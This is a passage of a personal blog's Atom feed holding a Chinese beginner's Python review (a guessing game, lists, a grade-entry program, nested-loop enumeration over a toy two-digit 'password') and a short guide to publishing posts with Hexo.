class="line">count = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&quot;请输入你猜的数字：&quot;</span>))</span><br><span class="line">    count += <span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> num == guess_number:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;猜对了！&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">elif</span> num &lt; guess_number:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;猜小了！&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;猜大了！&quot;</span>)</span><br></pre></td></tr></table></figure><p>（ 这里我写的 <strong>count = 0</strong> 和 <strong>count += 1</strong> 写了没用到，忘记打印了😀，建议在 print(f&quot;猜对了！“) 后面，或者在循环外面加上一句：print(f&quot;你一共猜了{count}次！”)。</p><ul><li>第一句 <strong>import random</strong> 是干嘛的？<br>简单来说就是“呼叫场外外援”。如果没有这个外援，它是不会凭空想出一个随机数的。所以我们得去 Python 的官方武器库里，把 random（ 随机 ）这个工具箱借过来用。</li><li><strong>random.randint ( 1, 100 )</strong><br>让电脑在 1 到 100 里随便挑个数字藏起来，这就是我们要猜的目标。</li><li><strong>count = 0 和 count += 1</strong><br>我们拿个小本子（ count = 0 ）。玩家每猜一次，本子上就画一笔（ count += 1 ），最后好看看玩家到底猜了几次。</li><li>最后 <strong>while True + break</strong><br>while True 就是一个“无底洞”，意思是：只要没碰到 break，游戏就永远不结束。<br>玩家输入数字后，电脑开始做判断：<ul><li>如果 <strong>if num == guess_number:</strong>（ 一模一样 ），立马喊“猜对了！”，并触发 break 结束无底洞，游戏结束。</li><li>如果 <strong>elif num &lt; guess_number:</strong>（ 猜小了 ），提示一下，继续循环。</li><li>如果上面都没中，那肯定就是猜大了 else。</li></ul></li></ul><h3 id="跑一遍（-假设电脑想的是50-）">跑一遍（ 假设电脑想的是50 ）</h3><ul><li>你输入 30，判断发现 30 &lt; 50，电脑提示：“猜小了！”</li><li>你输入 80，判断发现不相等也不小于，直接走 <strong>else</strong>，提示：“猜大了！”</li><li>你输入 50，判断 50 == 50，提示：“猜对了！”，遇到 <strong>break</strong>，循环结束。</li></ul><h3 id="7-列表-下标-（-装一堆数据的箱子-）">7. 列表 / 下标 （ 装一堆数据的箱子 ）</h3><p>场景：战队战绩统计，好几个人得分，总不能给每个人都起一个变量名吧？这时候就需要 <strong>列表</strong> 了。</p><ul><li><strong>列表 []</strong> ：之前的变量只能装一个，现在用方括号框起来，能装一排数据。</li><li><strong>下标 []</strong> ：找箱子里的东西要排号。重点：电脑是从 0 开始数数的，找第一个得喊 [<strong>0</strong>][<strong>-1</strong>]可以直接拿最后一个数。</li></ul><p>处理列表的三个工具：</p><ul><li><strong>len</strong>( ) ：数个数。不用自己一个个数，它直接告诉你箱子里有几样东西。</li><li><strong>max</strong>( ) ：找最大。电脑会在箱子里自动比大小，把最大的拿出来。</li><li><strong>sum</strong>( ) ：算总账。自动把箱子里所有的数加起来。</li></ul><p>比如这行代码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">得分 = [<span class="number">80</span>, <span class="number">95</span>, <span class="number">100</span>]</span><br><span class="line"><span class="built_in">print</span>(得分[<span class="number">0</span>])       <span class="comment"># 拿第一个，是 80（注意从0开始）</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">max</span>(得分))     <span class="comment"># 找到最高分 100</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">len</span>(得分))     <span class="comment"># 数一下一共几个人，输出 3</span></span><br></pre></td></tr></table></figure><p>OK 接下来写个成绩录入系统：<br>第1步：准备好空箱子</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">total_students = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&quot;输入人数：&quot;</span>)) <span class="comment"># 问老师一共要录入几个人</span></span><br><span class="line">num = <span class="number">1</span>              <span class="comment"># 计数器：从第1个学生开始</span></span><br><span class="line">score_list = []      <span class="comment"># 准备一个“空箱子”，用来装一会儿录入的成绩</span></span><br></pre></td></tr></table></figure><p>( 注意这里的 input 外面套了 int( )，因为等会儿要用人数做数学比较，得先把文字变成真数字。 )</p><p>第2步：只要人数没录满，就一直循环问</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> num &lt;= total_students:</span><br><span class="line">    <span class="comment"># 每次循环，让老师输入成绩</span></span><br><span class="line">    score = <span class="built_in">input</span>(<span class="string">f&quot;请输入成员 <span class="subst">&#123;num&#125;</span> 的成绩：&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 把成绩塞进箱子里</span></span><br><span class="line">    <span class="comment"># 这里用了 int(score)，因为 input 拿进来的永远是文字，得翻译成数字再塞进去</span></span><br><span class="line">    score_list.append(<span class="built_in">int</span>(score))</span><br><span class="line"></span><br><span class="line">    num += <span class="number">1</span>  <span class="comment"># 录入完一个，人数加1</span></span><br></pre></td></tr></table></figure><p>第3步：录入完成，展示一下箱子里的所有成绩，顺便找最高分</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>(score_list)</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">max</span>(score_list))</span><br></pre></td></tr></table></figure><p>第4步：算总分</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">all_score = <span class="built_in">sum</span>(score_list)</span><br></pre></td></tr></table></figure><p>第5步：用 for 循环挨个检查，统计及格人数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pass_count = <span class="number">0</span>          <span class="comment"># 及格人数计数器，初始为0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> score_list:    <span class="comment"># 把箱子里的成绩一个个拿出来，起名叫 i</span></span><br><span class="line">    <span class="keyword">if</span> i &gt;= <span class="number">60</span>:         <span class="comment"># 如果成绩大于等于60</span></span><br><span class="line">        pass_count += <span class="number">1</span> <span class="comment"># 及格人数加1</span></span><br></pre></td></tr></table></figure><p>第6步：报出最终结果</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># +str() 是因为文字和数字不能直接拼，要把数字变成文字。</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;总分是：&quot;</span> + <span class="built_in">str</span>(all_score))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 而下面这句 f&quot;&quot; 就省事多了，直接在话里留个空位 &#123;pass_count&#125;，数字自动就填进去了。</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;成绩大于60分的人数有 <span class="subst">&#123;pass_count&#125;</span> 人&quot;</span>)</span><br></pre></td></tr></table></figure><ul><li><strong>append</strong> ( ) 怎么理解？<br>之前创建列表 得分 = [80, 95, 100] 是直接装好数据。但很多时候，数据是一边敲键盘、电脑一边收的。append( ) 就是“追加”，像往购物车里不断扔东西一样，把新输入的数字塞到列表的尾巴上。</li><li>为什么有了 <strong>+str</strong> ( ) 还要用 <strong>f</strong>&quot;“？<br>看最后两行打印代码。第一个用 +str( )，像强行用胶水把文字和数字粘起来，很麻烦；而 f”“（ 填空模板 ）就好用多了，直接在话里留个空位，变量自动就填进去了，推荐以后多用 f”&quot;！</li></ul><h3 id="8-双重循环-枚举">8. 双重循环 / 枚举</h3><p>场景：假设你忘了两位数的密码，但你知道密码的每一位只可能是 1、2、3。怎么找回来？让电脑把所有组合都试一遍（ 这就叫暴力枚举 ）。</p><ul><li>双重循环：就是套娃。外面的大圈跑一次，里面的小圈要跑完一整圈。用来把所有组合都凑出来。</li></ul><p>看演示：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):      <span class="comment"># 外圈（比如第一位）</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):  <span class="comment"># 内圈（比如第二位）</span></span><br><span class="line">        <span class="built_in">print</span>(i, j)     <span class="comment"># 会输出：00, 01, 02, 10, 11, 12, 20, 21, 22</span></span><br></pre></td></tr></table></figure><p>假设密码的第一位和第二位，数字都在 1 到 3 之间：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">4</span>):      <span class="comment"># 外层循环：代表密码的第一位（从1试到3）</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">4</span>):  <span class="comment"># 内层循环：代表密码的第二位（从1试到3）</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;正在尝试密码：<span class="subst">&#123;i&#125;</span><span class="subst">&#123;j&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>为什么叫<strong>套娃</strong>？ 因为外面的圈（ i ）每转 1 次，里面的圈（ j ）就要老老实实地转完 3 次。等里面转完了，外面才转第 2 次，里面再跟着转 3 次。</p><p>我脑补了一下电脑实际上是怎么跑的：</p><p><strong>第一轮</strong>：外面 i 拿到 1，里面 j 开始跑圈。</p><ul><li>里面试了 1，拼出来 11。</li><li>里面试了 2，拼出来 12。</li><li>里面试了 3，拼出来 13。</li></ul><p><strong>第二轮</strong>：里面跑完了，外层 i 变成 2，里面 j 清空重来，又开始跑圈。</p><ul><li>里面试了 1，拼出来 21。</li><li>里面试了 2，拼出来 22。</li><li>里面试了 3，拼出来 23。</li></ul><p><strong>第三轮</strong>：外层 i 变成 3，里面再跑一圈：31, 32, 33。</p><p>这跟破解有什么关系？<br>如果在这个双重循环的最里面加一句判断（ 用到之前学的 <strong>if</strong> ）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 假设真正的密码是 23</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">4</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="comment"># 把两个数字拼起来变成真正的数字</span></span><br><span class="line">        guess = <span class="built_in">int</span>(<span class="string">f&quot;<span class="subst">&#123;i&#125;</span><span class="subst">&#123;j&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> guess == <span class="number">23</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;密码就是 <span class="subst">&#123;guess&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">break</span>  <span class="comment"># 找到了，停止内层循环</span></span><br></pre></td></tr></table></figure><blockquote><p>（ <strong>差不多了，今天脑细胞已阵亡，就到这吧</strong> ）</p></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;2026-10-18-python复盘&quot;&gt;2026-10-18-python复盘&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;前言：&lt;/strong&gt;&lt;br&gt;
记录一下学的 Python 基础语法的复盘。&lt;br&gt;
主要梳理了变量、循环、条件判断、列表</summary>
      
    
    
    
    
    <category term="python" scheme="https://myrvyn.github.io/tags/python/"/>
    
    <category term="学习复盘" scheme="https://myrvyn.github.io/tags/%E5%AD%A6%E4%B9%A0%E5%A4%8D%E7%9B%98/"/>
    
  </entry>
  
  <entry>
    <title>怎么用Hexo发文</title>
    <link href="https://myrvyn.github.io/posts/f14b5c9d.html"/>
    <id>https://myrvyn.github.io/posts/f14b5c9d.html</id>
    <published>2026-10-22T13:02:32.000Z</published>
    <updated>2026-10-26T14:11:55.646Z</updated>
    
    <content type="html"><![CDATA[<h1 id="如何在Hexo发布第一篇博客">如何在Hexo发布第一篇博客</h1><blockquote><p>前言：需要先安装 <strong><em>Node.js</em></strong> 和 <strong><em>Git</em></strong> 没有这俩安装不了 <strong>Hexo</strong>，然后再安装 <strong><em>Hexo</em></strong></p></blockquote><h3 id="第一步-新建文件文章"><strong>第一步</strong> : 新建文件文章</h3><ol><li>在你的 <strong>Hexo</strong> 项目根目录下，打开终端。</li><li>运行命令创建一个新文章：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npx hexo new <span class="string">&quot;如何在Hexo发布第一篇博客&quot;</span></span><br></pre></td></tr></table></figure></li><li>这样 <strong>Hexo</strong> 会自动在 source/_posts/ 目录下生成一个同名的 .md 文件。</li><li>然后再复制这个生成的路径回车它就会打开这个新建的文件</li></ol><h3 id="第二步：编写（文章头部信息）"><strong>第二步</strong>：编写（文章头部信息）</h3><p>现在可以看见：文件顶部被 — 包裹的 <strong>title：、date：、tags：</strong> 区域。 <strong>Hexo</strong> 在渲染网页时，会优先读取这部分信息。<strong>title</strong> 决定文章标题，<strong>date</strong> 决定发布时间（按时间排序）；<strong>tags</strong> 用于生成标签云。<strong>tags:</strong> 后面如果没有内容，最好留空或写 []。</p><h3 id="第三步：编写正文并实时预览"><strong>第三步</strong>：编写正文并实时预览</h3><ol><li>在头部信息下方空一行，开始写正文。</li><li>左侧写代码，右侧按 <strong>Ctrl+K V</strong> 打开预览。</li></ol><h3 id="第四步：生成与部署"><strong>第四步</strong>：生成与部署</h3><p>在终端依次运行：</p><ol><li><strong>npx hexo g</strong> （ 生成网页 ）。</li><li><strong>npx hexo s</strong> （ 本地预览，按住键盘上的 Ctrl 键不要松开，然后用鼠标左键点击终端里出现的那个链接）</li></ol><p>（比如 <a href="http://localhost:4000">http://localhost:4000</a>）</p><ol start="3"><li>最后,（ <strong>npx hexo d</strong> ）发布到网上。<blockquote><p>（这样就成功发布了）</p></blockquote></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;如何在Hexo发布第一篇博客&quot;&gt;如何在Hexo发布第一篇博客&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;前言：需要先安装 &lt;strong&gt;&lt;em&gt;Node.js&lt;/em&gt;&lt;/strong&gt; 和 &lt;strong&gt;&lt;em&gt;Git&lt;/em&gt;&lt;/strong&gt; 没有这俩安</summary>
      
    
    
    
    
    <category term="Hexo" scheme="https://myrvyn.github.io/tags/Hexo/"/>
    
  </entry>
  
</feed>
